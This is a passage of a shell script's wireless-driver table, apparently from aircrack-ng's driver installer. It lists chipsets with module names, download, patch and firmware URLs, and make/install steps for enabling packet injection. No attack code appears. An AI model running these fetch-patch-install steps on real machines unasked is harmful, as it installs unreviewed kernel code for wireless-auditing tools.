DI_DRIVERPATH1[$i]="http://www.tu-darmstadt.de/~p_larbig/wlan/ipwraw-ng-2.0.0-10072007.tar.bz2" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="ipwraw-ng" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="make" DI_INSTALL1[$i]="make install" DI_INSTALL2[$i]="make install_ucode" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="www.tu-darmstadt.de/~p_larbig/wlan/" DETECT_USB[$i]="" DETECT_PCI[$i]="3945" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 3945 A/B/G" DSTACK[$i]="2" DMODINFO[$i]="^depends: *mac80211" DMODULE[$i]="iwl3945" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="iwl3945" DI_INIT[$i]="" DI_DRIVERGET[$i]="git" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=ipw3945" DETECT_USB[$i]="" DETECT_PCI[$i]="3945" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 4965 A/B/G/N" DSTACK[$i]="2" DMODINFO[$i]="^depends: *mac80211" DMODULE[$i]="iwl4965" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="iwl4965" DI_INIT[$i]="" DI_DRIVERGET[$i]="git" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="4965" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Lucent Hermes and Prism II" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="hermes" DCONFIG[$i]="CONFIG_HERMES=" DCONFIGS[$i]="CONFIG_HERMES=m CONFIG_PLX_HERMES=m CONFIG_TMD_HERMES=m CONFIG_NORTEL_HERMES=m CONFIG_PCI_HERMES=m CONFIG_PCMCIA_HERMES=m" DMODULES[$i]="hermes orinoco orinoco_nortel orinoco_pci orinoco_plx orinoco_tmd orinoco_cs spectrum_cs" DI_INIT[$i]="install_hermes $i" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="orinoco-0.13e-SN-14.tar.bz2" DI_DRIVERPATH1[$i]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-14.tar.bz2" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="orinoco-0.13e-SN-14" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Madwifi[-ng]" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="ath_pci" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="wlan_wep ath_rate_sample ath_rate_onoe ath_pci ath_hal ath_rate_amrr ath_rate_minstrel wlan_xauth wlan_tkip wlan_ccmp wlan_acl wlan wlan_scan_ap wlan_scan_sta" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="madwifi-trunk-r4104-20100112.tar.gz" DI_DRIVERPATH1[$i]="http://snapshots.madwifi-project.org/madwifi-trunk/madwifi-trunk-r4104-20100112.tar.gz" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="madwifi-trunk-r4104-20100112" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="export KERNELRELEASE=$KVER" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="madwifi_install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=madwifi-ng" DETECT_USB[$i]="" DETECT_PCI[$i]="Atheros" DETECT_CS[$i]="atheros\|Atheros" i=$(($i+1)) DNAME[$i]="Prism54" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="prism54" DCONFIG[$i]="CONFIG_PRISM54=" DCONFIGS[$i]="CONFIG_PRISM54=m" DMODULES[$i]="prism54" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="prism54_r531.tar.gz" DI_DRIVERPATH1[$i]="http://svnweb.tuxfamily.org/dl.php?repname=prism54/prism54&path=%2Ftrunk%2F&rev=531&isdir=1" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="trunk" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="prism54-svn-20050724.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/prism54-svn-20050724.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/prism54-svn-20050724.patch" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE modules" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="gw3887 isl3886_usb" DF_FIRMFILE[$i]="p54u_firmwares.tar.bz2" DF_FIRMPATH1[$i]="http://prism54.org/firmware/p54u_firmwares.tar.bz2" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="boot/firmware" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=prism54" DETECT_USB[$i]="" DETECT_PCI[$i]="Prism Javelin\|Prism Xbow\|Prism GT\|Prism Duette" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Prism54" DSTACK[$i]="2" DMODINFO[$i]="" DMODULE[$i]="prism54common" DCONFIG[$i]="CONFIG_P54_COMMON=" DCONFIGS[$i]="CONFIG_P54_COMMON=m CONFIG_P54_USB=m CONFIG_P54_PCI=m" DMODULES[$i]="prism54common prism54pci prism54usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="gw3887 isl3886_usb" DF_FIRMFILE[$i]="p54u_firmwares.tar.bz2" DF_FIRMPATH1[$i]="http://prism54.org/firmware/p54u_firmwares.tar.bz2" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="boot/firmware" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="Prism Javelin\|Prism Xbow\|Prism GT\|Prism Duette" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2400 (legacy)" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="rt2400" DCONFIG[$i]="CONFIG_RT2400=" DCONFIGS[$i]="CONFIG_RT2400=m" DMODULES[$i]="rt2400" DI_INIT[$i]="rm -rf source/" DI_DRIVERGET[$i]="cvs" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="-d:pserver:anonymous@rt2400.cvs.sourceforge.net:/cvsroot/rt2400" DI_DRIVERPATH2[$i]="source/rt2400" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="source/rt2400/Module" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2400" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2400 (rt2x00)" DSTACK[$i]="0" DMODINFO[$i]="^depends:.*80211" DMODULE[$i]="rt2400pci" DCONFIG[$i]="CONFIG_RT2400PCI=" DCONFIGS[$i]="CONFIG_RT2400PCI=m" DMODULES[$i]="rt2400pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2400" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2400 (rt2x00)" DSTACK[$i]="2" DMODINFO[$i]="^depends:.*rt2x00lib" DMODULE[$i]="rt2400pci" DCONFIG[$i]="CONFIG_RT2400PCI=" DCONFIGS[$i]="CONFIG_RT2400PCI=m" DMODULES[$i]="rt2400pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2400" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2500 (legacy)" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="rt2500" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="rt2500" DI_INIT[$i]="rm -rf source/" DI_DRIVERGET[$i]="cvs" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="-d:pserver:anonymous@rt2400.cvs.sourceforge.net:/cvsroot/rt2400" DI_DRIVERPATH2[$i]="source/rt2500" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="source/rt2500/Module" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=rt2500" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2500" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2500 (rt2x00)" DSTACK[$i]="0" DMODINFO[$i]="^depends:.*80211" DMODULE[$i]="rt2500pci" DCONFIG[$i]="CONFIG_RT2500PCI=" DCONFIGS[$i]="CONFIG_RT2500PCI=m" DMODULES[$i]="rt2500pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2500" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2500 (rt2x00)" DSTACK[$i]="2" DMODINFO[$i]="^depends:.*rt2x00lib" DMODULE[$i]="rt2500pci" DCONFIG[$i]="CONFIG_RT2500PCI=" DCONFIGS[$i]="CONFIG_RT2500PCI=m" DMODULES[$i]="rt2500pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2500" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2570 (legacy)" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="rt2570" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="rt2570" DI_INIT[$i]="rm -rf rt2570-k2wrlz-1.6.3/" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="rt2570-k2wrlz-1.6.3.tar.bz2" DI_DRIVERPATH1[$i]="http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt2570-k2wrlz-1.6.3.tar.bz2" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="rt2570-k2wrlz-1.6.3/Module" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=rt2570" DETECT_USB[$i]="G122 802.11g rev. B1" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2570 (rt2x00)" DSTACK[$i]="0" DMODINFO[$i]="^depends:.*80211" DMODULE[$i]="rt2500usb" DCONFIG[$i]="CONFIG_RT2500USB=" DCONFIGS[$i]="CONFIG_RT2500USB=m" DMODULES[$i]="rt2500usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2570 (rt2x00)" DSTACK[$i]="2" DMODINFO[$i]="^depends:.*rt2x00lib" DMODULE[$i]="rt2500usb" DCONFIG[$i]="CONFIG_RT2500USB=" DCONFIGS[$i]="CONFIG_RT2500USB=m" DMODULES[$i]="rt2500usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt61 (legacy)" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="rt61" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="rt61" DI_INIT[$i]="rm -rf source/" DI_DRIVERGET[$i]="cvs" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="-d:pserver:anonymous@rt2400.cvs.sourceforge.net:/cvsroot/rt2400" DI_DRIVERPATH2[$i]="source/rt61" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="source/rt61/Module" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt2561.bin rt2561s.bin rt2661.bin rt61sta.dat" DF_FIRMFILE[$i]="rt61-1.1.0-b2.tar.gz" DF_FIRMPATH1[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMPATH2[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMDIR[$i]="rt61-1.1.0-b2" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=rt61" DETECT_USB[$i]="" DETECT_PCI[$i]="RT61\|RT2600\|RT2561" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt61 (rt2x00)" DSTACK[$i]="0" DMODINFO[$i]="^depends:.*80211" DMODULE[$i]="rt61pci" DCONFIG[$i]="CONFIG_RT61PCI=" DCONFIGS[$i]="CONFIG_RT61PCI=m" DMODULES[$i]="rt61pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt2561.bin rt2561s.bin rt2661.bin rt61sta.dat" DF_FIRMFILE[$i]="rt61-1.1.0-b2.tar.gz" DF_FIRMPATH1[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMPATH2[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMDIR[$i]="rt61-1.1.0-b2" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT61\|RT2600\|RT2561" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt61 (rt2x00)" DSTACK[$i]="2" DMODINFO[$i]="^depends:.*rt2x00lib" DMODULE[$i]="rt61pci" DCONFIG[$i]="CONFIG_RT61PCI=" DCONFIGS[$i]="CONFIG_RT61PCI=m" DMODULES[$i]="rt61pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt2561.bin rt2561s.bin rt2661.bin rt61sta.dat" DF_FIRMFILE[$i]="rt61-1.1.0-b2.tar.gz" DF_FIRMPATH1[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMPATH2[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMDIR[$i]="rt61-1.1.0-b2" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT61\|RT2600\|RT2561" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt73 (legacy)" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="rt73" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="rt73" DI_INIT[$i]="rm -rf rt73-k2wrlz-3.0.2/" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="rt73-k2wrlz-3.0.2.tar.bz2" DI_DRIVERPATH1[$i]="http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt73-k2wrlz-3.0.2.tar.bz2" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="rt73-k2wrlz-3.0.2/Module" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt73.bin rt73sta.dat" DF_FIRMFILE[$i]="RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH1[$i]="http://www.ralinktech.com.tw/data/RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="RT73_Linux_STA_Drv1.0.4.0" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=rt73" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt73 (rt2x00)" DSTACK[$i]="0" DMODINFO[$i]="^depends:.*80211" DMODULE[$i]="rt73usb" DCONFIG[$i]="CONFIG_RT73USB=" DCONFIGS[$i]="CONFIG_RT73USB=m" DMODULES[$i]="rt73usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt73.bin rt73sta.dat" DF_FIRMFILE[$i]="RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH1[$i]="http://www.ralinktech.com.tw/data/RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="RT73_Linux_STA_Drv1.0.4.0" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt73 (rt2x00)" DSTACK[$i]="2" DMODINFO[$i]="^depends:.*rt2x00lib" DMODULE[$i]="rt73usb" DCONFIG[$i]="CONFIG_RT73USB=" DCONFIGS[$i]="CONFIG_RT73USB=m" DMODULES[$i]="rt73usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt73.bin rt73sta.dat" DF_FIRMFILE[$i]="RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH1[$i]="http://www.ralinktech.com.tw/data/RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="RT73_Linux_STA_Drv1.0.4.0" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Realtek rtl8180" DSTACK[$i]="3" DMODINFO[$i]="" DMODULE[$i]="r818x" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="r818x" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="rtl8180-0.21.tar.gz" DI_DRIVERPATH1[$i]="http://ovh.dl.sourceforge.net/sourceforge/rtl8180-sa2400/rtl8180-0.21.tar.gz" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="rtl8180-0.21" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="rtl8180-0.21v2.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/rtl8180-0.21v2.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/rtl8180-0.21v2.patch" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=r8180-sa2400" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Realtek rtl8187" DSTACK[$i]="3" DMODINFO[$i]="" DMODULE[$i]="r8187" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="r8187 ieee80211-rtl 